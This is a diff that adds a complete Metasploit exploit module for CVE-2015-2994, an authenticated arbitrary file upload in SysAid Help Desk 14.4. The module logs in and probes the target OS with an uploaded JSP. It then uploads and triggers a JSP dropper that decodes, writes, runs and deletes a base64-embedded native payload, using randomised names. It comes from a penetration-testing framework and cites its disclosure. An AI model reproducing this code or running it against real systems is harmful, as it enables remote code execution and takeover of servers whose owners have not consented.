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| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::FileDropper |
| 13 | + include Msf::Exploit::EXE |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'SysAid Help Desk Administrator Portal Arbitrary File Upload', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a file upload vulnerability in SysAid Help Desk. |
| 20 | + The vulnerability exists in the ChangePhoto.jsp in the administrator portal, |
| 21 | + which does not handle correctly directory traversal sequences and does not |
| 22 | + enforce file extension restrictions. You need to have an administrator account, |
| 23 | + but there is a Metasploit auxiliary module that can create one for you. |
| 24 | + This module has been tested in SysAid v14.4 in both Linux and Windows. |
| 25 | + }, |
| 26 | + 'Author' => |
| 27 | + [ |
| 28 | + 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module |
| 29 | + ], |
| 30 | + 'License' => MSF_LICENSE, |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + ['CVE', '2015-2994'], |
| 34 | + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt'], |
| 35 | + ['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8'] |
| 36 | + ], |
| 37 | + 'DefaultOptions' => { 'WfsDelay' => 5 }, |
| 38 | + 'Privileged' => false, |
| 39 | + 'Platform' => %w{ linux win }, |
| 40 | + 'Arch' => ARCH_X86, |
| 41 | + 'Targets' => |
| 42 | + [ |
| 43 | + [ 'Automatic', { } ], |
| 44 | + [ 'SysAid Help Desk v14.4 / Linux', |
| 45 | + { |
| 46 | + 'Platform' => 'linux' |
| 47 | + } |
| 48 | + ], |
| 49 | + [ 'SysAid Help Desk v14.4 / Windows', |
| 50 | + { |
| 51 | + 'Platform' => 'win' |
| 52 | + } |
| 53 | + ] |
| 54 | + ], |
| 55 | + 'DefaultTarget' => 0, |
| 56 | + 'DisclosureDate' => 'Jun 3 2015')) |
| 57 | + |
| 58 | + register_options( |
| 59 | + [ |
| 60 | + OptPort.new('RPORT', [true, 'The target port', 8080]), |
| 61 | + OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']), |
| 62 | + OptString.new('USERNAME', [true, 'The username to login as']), |
| 63 | + OptString.new('PASSWORD', [true, 'Password for the specified username']), |
| 64 | + ], self.class) |
| 65 | + end |
| 66 | + |
| 67 | + |
| 68 | + def check |
| 69 | + res = send_request_cgi({ |
| 70 | + 'uri' => normalize_uri(datastore['TARGETURI'], 'errorInSignUp.htm'), |
| 71 | + 'method' => 'GET' |
| 72 | + }) |
| 73 | + if res && res.code == 200 && res.body.to_s =~ /css\/master\.css\?v([0-9]{1,2})\.([0-9]{1,2})/ |
| 74 | + major = $1.to_i |
| 75 | + minor = $2.to_i |
| 76 | + if major == 14 && minor == 4 |
| 77 | + return Exploit::CheckCode::Appears |
| 78 | + elsif major > 14 |
| 79 | + return Exploit::CheckCode::Safe |
| 80 | + end |
| 81 | + end |
| 82 | + # Haven't tested in versions < 14.4, so we don't know if they are vulnerable or not |
| 83 | + return Exploit::CheckCode::Unknown |
| 84 | + end |
| 85 | + |
| 86 | + |
| 87 | + def authenticate |
| 88 | + res = send_request_cgi({ |
| 89 | + 'uri' => normalize_uri(datastore['TARGETURI'], 'Login.jsp'), |
| 90 | + 'method' => 'POST', |
| 91 | + 'vars_post' => { |
| 92 | + 'userName' => datastore['USERNAME'], |
| 93 | + 'password' => datastore['PASSWORD'] |
| 94 | + } |
| 95 | + }) |
| 96 | + |
| 97 | + if res && res.code == 302 && res.get_cookies |
| 98 | + return res.get_cookies |
| 99 | + else |
| 100 | + return nil |
| 101 | + end |
| 102 | + end |
| 103 | + |
| 104 | + |
| 105 | + def upload_payload(payload, is_exploit) |
| 106 | + post_data = Rex::MIME::Message.new |
| 107 | + post_data.add_part(payload, |
| 108 | + 'application/octet-stream', 'binary', |
| 109 | + "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(8))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(10))}.jsp\"") |
| 110 | + |
| 111 | + data = post_data.to_s |
| 112 | + |
| 113 | + if is_exploit |
| 114 | + print_status("#{peer} - Uploading payload...") |
| 115 | + end |
| 116 | + |
| 117 | + res = send_request_cgi({ |
| 118 | + 'uri' => normalize_uri(datastore['TARGETURI'], 'ChangePhoto.jsp'), |
| 119 | + 'method' => 'POST', |
| 120 | + 'cookie' => @cookie, |
| 121 | + 'data' => data, |
| 122 | + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", |
| 123 | + 'vars_get' => { 'isUpload' => 'true' } |
| 124 | + }) |
| 125 | + |
| 126 | + if res && res.code == 200 && res.body.to_s =~ /parent.glSelectedImageUrl = \"(.*)\"/ |
| 127 | + if is_exploit |
| 128 | + print_status("#{peer} - Payload uploaded successfully") |
| 129 | + end |
| 130 | + |
| 131 | + return $1 |
| 132 | + else |
| 133 | + return nil |
| 134 | + end |
| 135 | + end |
| 136 | + |
| 137 | + def pick_target |
| 138 | + unless target.name == 'Automatic' |
| 139 | + return target |
| 140 | + end |
| 141 | + |
| 142 | + print_status("#{peer} - Determining target") |
| 143 | + os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>} |
| 144 | + url = upload_payload(os_finder_payload, false) |
| 145 | + |
| 146 | + res = send_request_cgi({ |
| 147 | + 'uri' => normalize_uri(datastore['TARGETURI'], url), |
| 148 | + 'method' => 'GET', |
| 149 | + 'cookie' => @cookie, |
| 150 | + 'headers' => { 'Referer' => Rex::Text.rand_text_alpha(10 + rand(10)) } |
| 151 | + }) |
| 152 | + |
| 153 | + if res && res.code == 200 |
| 154 | + if res.body.to_s =~ /Linux/ |
| 155 | + register_files_for_cleanup('webapps/' + url) |
| 156 | + return targets[1] |
| 157 | + elsif res.body.to_s =~ /Windows/ |
| 158 | + register_files_for_cleanup('root/' + url) |
| 159 | + return targets[2] |
| 160 | + end |
| 161 | + end |
| 162 | + |
| 163 | + nil |
| 164 | + end |
| 165 | + |
| 166 | + def generate_jsp_payload |
| 167 | + opts = {:arch => @my_target.arch, :platform => @my_target.platform} |
| 168 | + exe = generate_payload_exe(opts) |
| 169 | + base64_exe = Rex::Text.encode_base64(exe) |
| 170 | + |
| 171 | + native_payload_name = rand_text_alpha(rand(6)+3) |
| 172 | + ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' |
| 173 | + |
| 174 | + var_raw = rand_text_alpha(rand(8) + 3) |
| 175 | + var_ostream = rand_text_alpha(rand(8) + 3) |
| 176 | + var_buf = rand_text_alpha(rand(8) + 3) |
| 177 | + var_decoder = rand_text_alpha(rand(8) + 3) |
| 178 | + var_tmp = rand_text_alpha(rand(8) + 3) |
| 179 | + var_path = rand_text_alpha(rand(8) + 3) |
| 180 | + var_proc2 = rand_text_alpha(rand(8) + 3) |
| 181 | + |
| 182 | + if @my_target['Platform'] == 'linux' |
| 183 | + var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) |
| 184 | + chmod = %Q| |
| 185 | + Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); |
| 186 | + Thread.sleep(200); |
| 187 | + | |
| 188 | + |
| 189 | + var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) |
| 190 | + cleanup = %Q| |
| 191 | + Thread.sleep(200); |
| 192 | + Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); |
| 193 | + | |
| 194 | + else |
| 195 | + chmod = '' |
| 196 | + cleanup = '' |
| 197 | + end |
| 198 | + |
| 199 | + jsp = %Q| |
| 200 | + <%@page import="java.io.*"%> |
| 201 | + <%@page import="sun.misc.BASE64Decoder"%> |
| 202 | + <% |
| 203 | + try { |
| 204 | + String #{var_buf} = "#{base64_exe}"; |
| 205 | + BASE64Decoder #{var_decoder} = new BASE64Decoder(); |
| 206 | + byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); |
| 207 | +
|
| 208 | + File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); |
| 209 | + String #{var_path} = #{var_tmp}.getAbsolutePath(); |
| 210 | +
|
| 211 | + BufferedOutputStream #{var_ostream} = |
| 212 | + new BufferedOutputStream(new FileOutputStream(#{var_path})); |
| 213 | + #{var_ostream}.write(#{var_raw}); |
| 214 | + #{var_ostream}.close(); |
| 215 | + #{chmod} |
| 216 | + Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); |
| 217 | + #{cleanup} |
| 218 | + } catch (Exception e) { |
| 219 | + } |
| 220 | + %> |
| 221 | + | |
| 222 | + |
| 223 | + jsp = jsp.gsub(/\n/, '') |
| 224 | + jsp = jsp.gsub(/\t/, '') |
| 225 | + jsp = jsp.gsub(/\x0d\x0a/, '') |
| 226 | + jsp = jsp.gsub(/\x0a/, '') |
| 227 | + |
| 228 | + return jsp |
| 229 | + end |
| 230 | + |
| 231 | + def exploit |
| 232 | + @cookie = authenticate |
| 233 | + unless @cookie |
| 234 | + fail_with(Failure::NoAccess, "#{peer} - Unable to authenticate with the provided credentials.") |
| 235 | + end |
| 236 | + print_status("#{peer} - Authentication was successful with the provided credentials.") |
| 237 | + |
| 238 | + @my_target = pick_target |
| 239 | + if @my_target.nil? |
| 240 | + fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail.") |
| 241 | + end |
| 242 | + print_status("#{peer} - Selected target #{@my_target.name}") |
| 243 | + |
| 244 | + # When using auto targeting, MSF selects the Windows meterpreter as the default payload. |
| 245 | + # Fail if this is the case and ask the user to select an appropriate payload. |
| 246 | + if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/ |
| 247 | + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") |
| 248 | + end |
| 249 | + |
| 250 | + jsp_payload = generate_jsp_payload |
| 251 | + jsp_path = upload_payload(jsp_payload, true) |
| 252 | + unless jsp_path |
| 253 | + fail_with(Failure::Unknown, "#{peer} - Payload upload failed") |
| 254 | + end |
| 255 | + |
| 256 | + if @my_target == targets[1] |
| 257 | + register_files_for_cleanup('webapps/' + jsp_path) |
| 258 | + else |
| 259 | + register_files_for_cleanup('root/' + jsp_path) |
| 260 | + end |
| 261 | + |
| 262 | + print_status("#{peer} - Executing payload...") |
| 263 | + send_request_cgi({ |
| 264 | + 'uri' => normalize_uri(datastore['TARGETURI'], jsp_path), |
| 265 | + 'method' => 'GET', |
| 266 | + 'cookie' => @cookie, |
| 267 | + 'headers' => { 'Referer' => Rex::Text.rand_text_alpha(10 + rand(10)) } |
| 268 | + }) |
| 269 | + end |
| 270 | +end |
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